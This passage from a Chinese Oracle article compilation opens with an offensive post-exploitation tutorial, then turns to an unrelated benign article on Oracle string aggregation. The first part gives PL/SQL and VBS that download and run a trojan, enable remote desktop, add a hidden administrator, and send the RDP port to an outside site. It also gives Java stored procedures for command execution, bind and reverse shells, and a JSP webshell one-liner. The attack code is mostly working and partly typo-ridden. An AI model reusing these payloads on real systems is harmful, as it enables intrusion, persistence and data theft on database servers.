sGet.Write(xPost.responseBody)
sGet.SaveToFile “c:\rad.exe”,2');
utl_file.fflush(file);
utl_file.fclose(file);
end;
/
exec :x:=run_cmz('cscript. c:\test.vbs');
/
exec :x:=run_cmz('c:\rad.exe');这步操作讲下载我的木马到c盘并执行
declare
file utl_file.file_type;
begin
file := utl_file.fopen('DIR', '3389.vbs', 'W');
utl_file.put_line(file, 'Dim OperationRegistry
Set perationRegistry=WScript.createObject(“WScript.Shell”)
Dim TSPort,TSState,TSRegPath
TSRegPath=“HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp\PortNumber”
TSPort=OperationRegistry.RegRead(TSRegPath)
TSRegPath=“HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\fDenyTSConnections”
TSState=OperationRegistry.RegRead(TSRegPath)
If TSState=0 Then
Else
OperationRegistry.RegWrite TSRegPath,0,“REG_DWORD”
End If');
utl_file.fflush(file);
utl_file.fclose(file);
end;
/
exec :x:=run_cmz('cscript. c:\3389.vbs');vbs开启3389
declare
file utl_file.file_type;
begin
file := utl_file.fopen('DIR', 'user.vbs', 'W');
utl_file.put_line(file, 'set wsnetwork=CreateObject(“WSCRIPT.NETWORK”)
s=“WinNT://”'||'&'||'wsnetwork.ComputerName
Set a=CreateObject(“Scripting.FileSystemObject”)
Set b=GetObject(os)
Set e=GetObject(os&“/Administrators,group”)
Set d=ob.Create(“user”,“bob”)
od.SetPassword “123456abc!@#”
od.SetInfo
Set f=GetObject(os&“/bob”,user)
oe.add os&“/bob”
oa.DeleteFile(“user.vbs”)');
utl_file.fflush(file);
utl_file.fclose(file);
end;
/
/
exec :x:=run_cmz('cscript. c:\user.vbs');无net添加admin用户
declare
file utl_file.file_type;
begin
file := utl_file.fopen('DIR', '3389p.vbs', 'W');
utl_file.put_line(file, '
Dim OperationRegistry
Set perationRegistry=WScript.createObject(“WScript.Shell”)
Dim TSPort,TSState,TSRegPath
TSRegPath=“HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp\PortNumber”
TSPort=OperationRegistry.RegRead(TSRegPath)
Set xPost=CreateObject(“Microsoft.XMLHTTP”)
xPost.Open “GET”,“blog.cnmoker.org/read3389/ro.asp?port=” '||'ccccc'||' TSPort,0
xPost.Send()
TSRegPath=“HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\fDenyTSConnections”
TSState=OperationRegistry.RegRead(TSRegPath)
If TSState=0 Then
Else
OperationRegistry.RegWrite TSRegPath,0,“REG_DWORD”
End If
set bj=wscript.createObject(“wscript.shell”)
obj.Run(“sc config TermService start= demand”)
obj.Run(“sc stop TermService”)
obj.Run(“sc start TermService”)
wscript.quit
');
utl_file.fflush(file);
utl_file.fclose(file);
end;
/
exec :x:=run_cmz('cscript. c:\3389p.vbs');
/
exec :x:=run_cmz('del c:\3389p.vbs');
/
blog.cnmoker.org/read3389/read.asp这个代码的作用是用来读取对方的3389端口并post下自己的网站数据库里
这个read.asp和ro.asp自己写吧
到此win下操作基本上是完成了
第三部分 linux的一些操作
linux的操作要用到sqlj语言
其实ISTO的kj总早就写了一些
我总结
create or replace and compile java source named bob as
import java.io.*;
import java.net.*;
public class BOB{
public static String listFolder(String path){
File f=null;
String str=“”;
f=new File(path);
String[] files=f.list();
if(files!=null)
for(int i=0;i
str+=files[i]+“\r\n”;
}
return str;
}
public static String saveFile(String filepath,String value){
FileOutputStream fos=null;
try {
fos=new FileOutputStream(filepath);
fos.write(value.getBytes());
return “OK”;
} catch (Exception e) {
return e.getMessage();
} finally{
if(fos!=null){
try {fos.close();} catch (Exception e) {}
}
}
}
public static String readFile(String pathfile,String code){
BufferedReader br=null;
String value=“”;
try {
br=new BufferedReader(new InputStreamReader(new FileInputStream(pathfile),code));
String s=null;
while((s=br.readLine())!=null){
value+=s;
}
return value;
} catch (Exception e) {
return e.getMessage();
} finally{
if(br!=null){try {br.close();} catch (IOException e) {}}
}
}
public static String execFile(String filepath,String code){
int i=0;
Runtime rt=Runtime.getRuntime();
String utput=“”;
InputStreamReader isr = null;
char[] bufferC=new char[1024];
try{
Process ps=rt.exec(filepath);
isr=new InputStreamReader(ps.getInputStream(),code);
while((i=isr.read(bufferC,0,bufferC.length))!=-1){
output+=new String(bufferC,0,i);
}
return output;
}catch(Exception e){
return e.getMessage();
}finally{
if(isr!=null)try {isr.close();} catch (IOException e) {}
}
}
public static String bindShell(int port){
ServerSocket ss=null;
Socket s=null;
try {
ss = new ServerSocket(port);
s=ss.accept();
new optShell(ss,s).start();
return “OK”;
} catch (Exception e) {
return e.getMessage();
}
}
public static String reverseShell(String host,int port){
Socket s=null;
try{
s=new Socket(host,port);
new optShell(null,s).start();
return “OK”;
}catch(Exception e){
return e.getMessage();
}
} //反弹shell的sqlj语句
public static class optShell extends Thread{
OutputStream s=null;
InputStream is=null;
ServerSocket ss;
Socket s;
public optShell(ServerSocket ss,Socket s){
this.ss=ss;
this.s=s;
try{
this.is=s.getInputStream();
this.os=s.getOutputStream();
}catch(Exception e){
if(os!=null)try {os.close();} catch(Exception ex) {}
if(is!=null)try {is.close();} catch(Exception ex) {}
if(s!=null)try {s.close();} catch(Exception ex) {}
if(ss!=null)try {ss.close();} catch(Exception ex) {}
}
}
public void run(){
BufferedReader br=new BufferedReader(new InputStreamReader(is));
String line=“”;
String cmdhelp=“Command:\r\nlist \r\nsave\r\nread\r\nexec\r\nexit\r\n”;
try {
//os.write(cmdhelp.getBytes());
line=br.readLine();
while(!“exit”.equals(line)){
if(line.length()>3){
StringBuffer sb=new StringBuffer(line.trim());
String cmd=sb.substring(0, 4);
if(cmd.equals(“list”)){
os.write(“input you path:\r\n”.getBytes());
line=br.readLine();
os.write(listFolder(line).getBytes());
}else if(“save”.equals(cmd)){
os.write(“input you filepath:\r\n”.getBytes());
line=br.readLine();
os.write(“input you value:\r\n”.getBytes());
os.write(saveFile(line,br.readLine()).getBytes());
}else if(“read”.equals(cmd)){
os.write(“input you filepath:\r\n”.getBytes());
line=br.readLine();
os.write(“input you code examle:GBK\r\n”.getBytes());
os.write(readFile(line,br.readLine()).getBytes());
}else if(“exec”.equals(cmd)){
os.write(“input you run filepath:\r\n”.getBytes());
line=br.readLine();
os.write(“input you code examle:GBK\r\n”.getBytes());
os.write(execFile(line,br.readLine()).getBytes());
}else{
os.write(cmdhelp.getBytes());
}
}else{
os.write(cmdhelp.getBytes());
}
line=br.readLine();
}
} catch (Exception e) {
e.printStackTrace();
}finally{
if(os!=null)try {os.close();} catch(Exception e) {}
if(is!=null)try {is.close();} catch(Exception e) {}
if(s!=null)try {s.close();} catch(Exception e) {}
if(ss!=null)try {ss.close();} catch(Exception e) {}
}
}
}
}
/
create or replace function BOB_LISTFOLDER(str varchar2) return varchar2
as language java name 'BOB.listFolder(java.lang.String) return java.lang.String';
/
create or replace function BOB_SAVEFILE(p varchar2,v varchar2) return varchar2
as language java name 'BOB.saveFile(java.lang.String,java.lang.String) return java.lang.String';
/
create or replace function BOB_READFILE(p varchar2,c varchar2) return varchar2
as language java name 'BOB.readFile(java.lang.String,java.lang.String) return java.lang.String';
/
create or replace function BOB_EXECFILE(fp varchar2,c varchar2) return varchar2
as language java name 'BOB.execFile(java.lang.String,java.lang.String) return java.lang.String';
/
create or replace function BOB_BINDSHELL(port number) return varchar2
as language java name 'BOB.bindShell(int) return java.lang.String';
/
begin
Dbms_Java.Grant_Permission('scott','java.io.FilePermission','','read,write,execute,delete');
Dbms_Java.Grant_Permission('scott','java.lang.RuntimePermission','*','writeFileDescriptor');
Dbms_Java.grant_permission('scott','java.net.SocketPermission','*:*','accept,connect,listen,resolve');
end;这么一大段,仔细看
执行完后
Select BOB_LISTFOLDER('/usr') FROM DUAL //列目录
Select BOB_EXECFILE('C:\WINDOWS\system32\cmd.exe /c dir c:\','GBK') FROM DUAL; //执行命令
Select BOB_READFILE('/tmp/1.txt','GBK') FROM DUAL; //读文件
Select BOB_SAVEFILE('/tmp/1.jsp','<%if(request.getParameter(“f”)!=null)(new java.io.FileOutputStream(application.getRealPath(“\\”)+request.getParameter(“f”))).write(request.getParameter(“t”).getBytes());%>') FROM DUAL; 写jsp一句话 可查看我的上一篇BLOG
Select BOB_BINDSHELL(20000) FROM DUAL //开启端口2000然后你telnet ip 2000上去
其中本来还有reserver shell的
我还没来的及测试
我自己是更中意反弹shell的
特别是linux
好操作的多
再说有时候linux是nat出来的
反弹就去了许多麻烦
第四部分 技巧
一句话读取3389端口
exec :x:=run_cmz('REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal“ ”Server\WinStations\RDP-Tcp /v PortNumber');一句话开3389 只合适win 2k3
exec :x:=run_cmz('REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal“ ”Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f');删除pcanywhere导致的终端登陆错误
exec :x:=run_cmz('reg delete “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon” /v GinaDLL /f');感谢kj,和linx的文章.
最后说下,关于web injection部分
有时间在整理吧
不妥之处,请指教 QQ:1972097
篇12:关于oracle字符串
使用的代码
代码如下
-- sample data
drop table t_collect purge;
create table t_collect as
select mod(rownum,30) as flag, lpad(dbms_random.string('l',3),4,' ') as val
from dual connect by rownum<=10000;
collect函数(Oracle10g)
-- 1: use collect funtion
select flag,
my_tk.f_list2str(cast(collect(trim(val)) as my_tk_str_tab_type)) as ename
from t_collect sample(10)
group by flag
order by 1;
sys_connect_by_path
-- 2: use sys_connect_by_path and row_number function
select t1.flag, substr(max(sys_connect_by_path(t1.val, ',')), 2) q
from (select a.flag,
trim(a.val) as val,
row_number() over(partition by a.flag order by a.val) rn
from t_collect sample(10) a) t1
start with t1.rn = 1
connect by t1.flag = prior t1.flag
and t1.rn - 1 = prior t1.rn
group by t1.flag
order by 1;
user-defined-function
-- 3: use user-defined-function
select flag,
string_agg(trim(val)) as ename
from t_collect sample(10)
group by flag
order by 1;
辅助用的my_tk包代码片段
代码如下
create or replace type my_tk_str_tab_type is table of varchar2(100);
---------------------------------------------------------------------
function f_list2str
(
p_list my_tk_str_tab_type,
p_separator varchar2 default ',',
p_sort integer default 1
) return varchar2 is
l_idx pls_integer := 0;
l_str varchar2(32767) := null;
l_spt varchar2(10) := null;
l_list my_tk_str_tab_type := p_list;
begin
if p_sort = 1 then
l_list := f_sort_list(p_list);
end if;
l_idx := l_list.first;
while l_idx is not null loop
l_str := l_str || l_spt || l_list(l_idx);
l_spt := p_separator;
l_idx := l_list.next(l_idx);
end loop;
return l_str;
end;
自定义聚合函数
------------------------------------------------------------------
代码如下
-- user-defined-function
CREATE OR REPLACE TYPE t_string_agg AS OBJECT
(
g_string VARCHAR2(32767),
STATIC FUNCTION ODCIAggregateInitialize(sctx IN OUT t_string_agg)
RETURN NUMBER,
MEMBER FUNCTION ODCIAggregateIterate(self IN OUT t_string_agg,
value IN VARCHAR2 )
RETURN NUMBER,
MEMBER FUNCTION ODCIAggregateTerminate(self IN t_string_agg,
returnValue OUT VARCHAR2,
flags IN NUMBER)
RETURN NUMBER,
MEMBER FUNCTION ODCIAggregateMerge(self IN OUT t_string_agg,
ctx2 IN t_string_agg)
RETURN NUMBER
);
/
CREATE OR REPLACE TYPE BODY t_string_agg IS
STATIC FUNCTION ODCIAggregateInitialize(sctx IN OUT t_string_agg)
RETURN NUMBER IS
BEGIN
sctx := t_string_agg(NULL);
RETURN ODCIConst.Success;
END;
MEMBER FUNCTION ODCIAggregateIterate(self IN OUT t_string_agg,
value IN VARCHAR2 )
RETURN NUMBER IS
BEGIN
SELF.g_string := self.g_string || ',' || value;
RETURN ODCIConst.Success;
END;
MEMBER FUNCTION ODCIAggregateTerminate(self IN t_string_agg,
returnValue OUT VARCHAR2,
flags IN NUMBER)
RETURN NUMBER IS
BEGIN
returnValue := RTRIM(LTRIM(SELF.g_string, ','), ',');
RETURN ODCIConst.Success;
END;
MEMBER FUNCTION ODCIAggregateMerge(self IN OUT t_string_agg,
ctx2 IN t_string_agg)
RETURN NUMBER IS
BEGIN
SELF.g_string := SELF.g_string || ',' || ctx2.g_string;
RETURN ODCIConst.Success;
END;
END;
/
CREATE OR REPLACE FUNCTION string_agg (p_input VARCHAR2)
RETURN VARCHAR2
PARALLEL_ENABLE AGGREGATE USING t_string_agg;
/
最后给个参考表
在数据量10000的表上进行三种方法的测试,运行时间单位秒
数据量PCT Collect SYS_Connect UDF
1% 0.017 0.018 0.017
10% 0.026 0.050 0.029
50% 0.057 2.45 0.065
100% 0.090 5.00 1.06
★ oracle 存储过程详细介绍(创建,删除存储过程,参数传递等)
★ 软件开题报告
★ 软件技术实习报告
★ erp计划书
【Oracle深入学习(集锦12篇)】相关文章:
甲骨文高考作文2023-01-15
Java软件工程师求职简历2023-11-26
财务管理中的辩证关系2022-08-18
客户信息系统之Oracle方案2023-04-06
程序员实习报告2023-10-28
java工程师简历2024-04-27
管理员面试问题2023-12-24
python链接Oracle数据库的方法2023-06-30
如何系统游有效学习java基础2022-09-09
JAVA工程求职信2023-01-22